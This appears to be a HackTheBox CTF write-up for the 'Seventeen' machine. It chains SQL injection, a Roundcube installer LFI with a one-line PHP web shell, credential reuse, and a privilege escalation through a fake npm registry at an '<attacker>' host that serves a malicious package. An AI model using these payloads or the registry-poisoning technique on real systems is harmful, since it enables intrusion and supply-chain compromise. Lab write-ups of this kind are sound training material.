HTB: Seventeen Writeup
Seventeen - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Seventeen |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.227.143 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Seventeen is a multi-vhost Linux box built around an Examination Management System vulnerable to SQL injection, which cascades into a student portal, a Roundcube webmail instance, and finally a private npm registry. The database dump from the exam app’s id parameter surfaces a crackable student hash and hints at two more virtual hosts — an old file-management system and a Roundcube 1.4.2 install with its installer still exposed (CVE-2020-12640). Rather than fully chaining the Roundcube LFI into a reverse shell, a hardcoded MySQL password recovered from the application’s config turned out to be reused for the mark user’s SSH login. From there, a leaked mail message pointed at a local Verdaccio npm registry, and installing an old internal package leaked credentials for kavi. Root came from a sudo rule that runs an npm-dependency-installing startup script — since sudo preserves $HOME, npm resolves kavi’s ~/.npmrc, letting an attacker point the install at a self-hosted fake registry and get a malicious package executed as root.
TL;DR: SQLi in exam app (id param) → DB dump reveals vhosts → hardcoded dbh.php password reused for mark SSH → /var/mail/kavi leaks internal Verdaccio registry → db-logger package leaks kavi creds → sudo-preserved $HOME + fake npm registry serving malicious loglevel package → root.
Reconnaissance
Port Scanning
# Full TCP sweep against the targetnmap -sC -sV -T4 -p- 10.129.227.143Results:
| Port | Service | Notes |
|---|---|---|
| 22/tcp | SSH | OpenSSH |
| 80/tcp | Apache | resolves to vhost seventeen.htb |
| 8000/tcp | Apache | returns 403 Forbidden when hit directly by IP/without a matching Host header |
The 8000 forbidden response is a strong signal that the second Apache instance is vhost-gated — it will only serve content when a recognized Host: header is presented, same as the port-80 instance.
Service Enumeration
# Register the base vhost once port 80 reveals itecho "10.129.227.143 seventeen.htb" | sudo tee -a /etc/hostsEnumeration of seventeen.htb and the databases dumped in the next stage progressively surfaced additional vhosts, which were added as they were confirmed:
echo "10.129.227.143 exam.seventeen.htb" | sudo tee -a /etc/hostsecho "10.129.227.143 oldmanagement.seventeen.htb" | sudo tee -a /etc/hostsecho "10.129.227.143 mastermailer.seventeen.htb" | sudo tee -a /etc/hostsexam.seventeen.htb— an Examination Management System (?p=take_exam&id=1style routing).oldmanagement.seventeen.htb— an older student/file-management portal, served through the port-8000 Apache instance.mastermailer.seventeen.htb— a Roundcube 1.4.2 webmail install, also on port 8000, with/installerstill reachable.
Vulnerability Assessment
exam.seventeen.htb/?p=take_exam&id=1— theidparameter is injectable via time-based blind SQL injection, with no authentication required. This class of vulnerability against exam/reviewer-management PHP apps is documented publicly (a matching Exploit-DB entry exists for this application family, covering unauthenticated SQLi in the same parameter).mastermailer.seventeen.htb:8000runs Roundcube 1.4.2, which is vulnerable to CVE-2020-12640 — a local file inclusion in the Roundcube installer, where the_plugins_<name>POST parameter is not sanitized and can be pointed at an arbitrary path via../traversal, as long as the installer directory is still present (confirmed here).
Initial Foothold
SQL Injection → Credential/Path Disclosure
The id parameter on the exam portal was confirmed vulnerable to time-based blind SQLi:
http://exam.seventeen.htb/?p=take_exam&id=1Dumping the exposed databases through this injection point surfaced the db_sfms.student table, containing a student record for Kelly:
student_no : 31234password : <MD5 hash> → cracked: autodestructionThese credentials were verified against the login on oldmanagement.seventeen.htb (the login form expects the student number, 31234, rather than a username). Continued enumeration of the dumped databases and the file-management app reachable with Kelly’s login revealed the two remaining vhosts: oldmanagement.seventeen.htb and mastermailer.seventeen.htb, the latter confirmed to be running Roundcube 1.4.2 with /installer still exposed — the precondition for CVE-2020-12640.
Staging the Roundcube LFI Precondition
CVE-2020-12640 requires a malicious PHP file to already exist on disk at a path the installer’s _plugins_<name> parameter can be traversed into, with the include target’s filename matching an existing directory name in the same location (Roundcube appends the plugin name as a directory during traversal resolution). Using Kelly’s session on the file-management app, a directory named papers was located under the student’s upload path, and a payload was uploaded to match it:
<?php system($_GET['cmd']); ?>uploaded as papers.php into the student’s files/31234/ upload directory — satisfying every precondition the CVE-2020-12640 PoC requires (installer reachable, attacker-controlled file, filename/directory-name collision).
The Shortcut: Hardcoded Credential Reuse
Rather than push the traversal payload through the installer’s /installer/index.php config-update flow to trigger inclusion and pop a reverse shell, the faster path was a straight credential reuse: a hardcoded MySQL password —
2020bestyearofmylife— recovered from the application’s dbh.php-style database config, turned out to be reused as mark’s SSH password on the underlying host:
ssh mark@10.129.227.143# Password: 2020bestyearofmylifeThis landed a shell and user.txt without needing to fully detonate the Roundcube LFI chain — a textbook case of a credential meant for one boundary (MySQL app auth) being carelessly reused across another (host SSH).
Privilege Escalation
mark → kavi: Mailbox Intel + Private npm Registry
/home revealed a second user, kavi. mark had read access to kavi’s local mail spool:
cat /var/mail/kaviThe message referenced an internal private npm registry and a logging-package migration — pointing at Verdaccio running locally on port 4873. Verdaccio is a self-hosted npm registry; installing packages from it pulls whatever the registry operator published, including internal-only tooling:
# Pull the old internal logging package from the local Verdaccio instancenpm install db-logger --registry=http://127.0.0.1:4873The installed package’s source leaked hardcoded credentials:
node_modules/db-logger/logger.js → kavi : IhateMathematics123#su kavi# Password: IhateMathematics123#kavi → root: sudo + $HOME Preservation + npm Supply-Chain
sudo -lshowed kavi could run /opt/app/startup.sh as root. The script’s logic installs missing npm dependencies (including loglevel) before launching /opt/app/index.js, which does require('loglevel') at runtime — meaning whatever loglevel resolves to at install time is what actually executes.
The exploit hinges on a well-known sudo quirk: on systems where sudo doesn’t reset $HOME (env_reset without clearing HOME, common on older Ubuntu sudo builds), a sudo’d process still uses the invoking user’s home directory. That means npm install run via sudo /opt/app/startup.sh still reads kavi’s ~/.npmrc — including a custom registry value — even though the process runs as root.
Since there was no local npm/docker toolchain available on the operating box to stand up a real Verdaccio instance, the fix was a pure-Python fake npm registry implementing just enough of the registry HTTP API (package metadata lookup + tarball serving) to hand back a malicious loglevel release:
# minimal npm-registry-compatible HTTP server# serves package metadata + a malicious tarball for "loglevel"from http.server import BaseHTTPRequestHandler, HTTPServer
class FakeRegistry(BaseHTTPRequestHandler): def do_GET(self): if self.path.startswith("/loglevel"): # respond with package metadata pointing at our malicious tarball, # version bumped above whatever's already resolved (9.9.9) self.send_metadata_json(name="loglevel", version="9.9.9", tarball_url=f"http://{self.server.server_address[0]}:PORT/loglevel-9.9.9.tgz") elif self.path.endswith(".tgz"): # serve the crafted tarball whose package.json / install script # runs a reverse shell or reads root.txt on require() self.serve_tarball()
HTTPServer(("0.0.0.0", PORT), FakeRegistry).serve_forever()With the fake registry hosting a poisoned loglevel@9.9.9, kavi’s npm config was pointed at it:
echo 'registry=http://<attacker>:PORT/' > ~/.npmrcsudo /opt/app/startup.shstartup.sh sees loglevel isn’t the expected version, npm installs it against the attacker-controlled registry (using kavi’s preserved $HOME/.npmrc), and index.js’s require('loglevel') executes the malicious payload — as root. This yielded a root shell and root.txt.
Attack Chain Summary
Time-based SQLi (exam.seventeen.htb ?id=) → DB dump (db_sfms.student: Kelly / 31234 / autodestruction) → vhost pivot: oldmanagement.seventeen.htb + mastermailer.seventeen.htb (Roundcube 1.4.2, CVE-2020-12640 preconditions confirmed) → hardcoded dbh.php MySQL password reused as mark's SSH password → user.txt (mark) → /var/mail/kavi leaks internal Verdaccio registry (127.0.0.1:4873) → npm install db-logger → logger.js leaks kavi:IhateMathematics123# → su kavi → sudo /opt/app/startup.sh (preserves $HOME) + custom fake npm registry serving malicious loglevel@9.9.9 → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning / service detection |
| SQL injection (time-based blind) | Unauthenticated DB dump on exam.seventeen.htb |
| Browser / manual HTTP | Vhost discovery, Roundcube installer verification, file upload staging |
ssh | Access to mark via reused MySQL password |
npm + Verdaccio | Discovering/installing internal db-logger package to leak kavi creds |
| Custom Python HTTP server | Fake npm registry serving malicious loglevel package for root privesc |
sudo -l | Enumerating kavi’s sudo privileges |
Key Learnings
Techniques Practiced
- Unauthenticated time-based blind SQL injection against a PHP exam-management app
- Vhost pivoting driven entirely by data leaked from a prior compromise (DB dump → new hostnames)
- Identifying and staging preconditions for a Roundcube LFI (CVE-2020-12640) even when not fully detonated
- Recognizing and exploiting hardcoded credential reuse across trust boundaries (app DB password → host SSH)
- Mining local mail spools (
/var/mail/<user>) for internal infrastructure intel - Enumerating and abusing an internal Verdaccio private npm registry
- Exploiting
sudo’s$HOME-preservation behavior to hijack npm’s config resolution as root - Standing up a minimal custom package-registry server in Python when standard tooling (npm/docker) wasn’t available locally
Lessons Learned
- Hardcoded credentials rarely stay scoped to the system they were written for — always try a recovered secret against every other login surface on the box.
- A user’s mail spool is frequently the fastest path to internal infrastructure names (registries, hostnames, service ports) that enumeration alone won’t surface.
sudorules that shell out to package managers are dangerous even when the script itself is root-owned and immutable — the environment the script inherits (like$HOME) can still be attacker-influenced.- Confirming exploit preconditions is valuable even if the “shortcut” path ends up faster — if the reused credential hadn’t worked, the staged Roundcube LFI would have been the fallback.
- Missing standard offensive tooling (npm registry software, docker) isn’t a dead end — reimplementing just the minimal protocol surface needed (a few HTTP routes) is often faster than fighting environment constraints.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox official “Seventeen” writeup, Document No. D22.100.172, prepared by amra (machine author: kavigihan) — source for the CVE-2020-12640 Roundcube installer LFI mechanics, the
dbh.phphardcoded-credential pattern, and thesudo$HOME-preservation / Verdaccio npm supply-chain privilege escalation.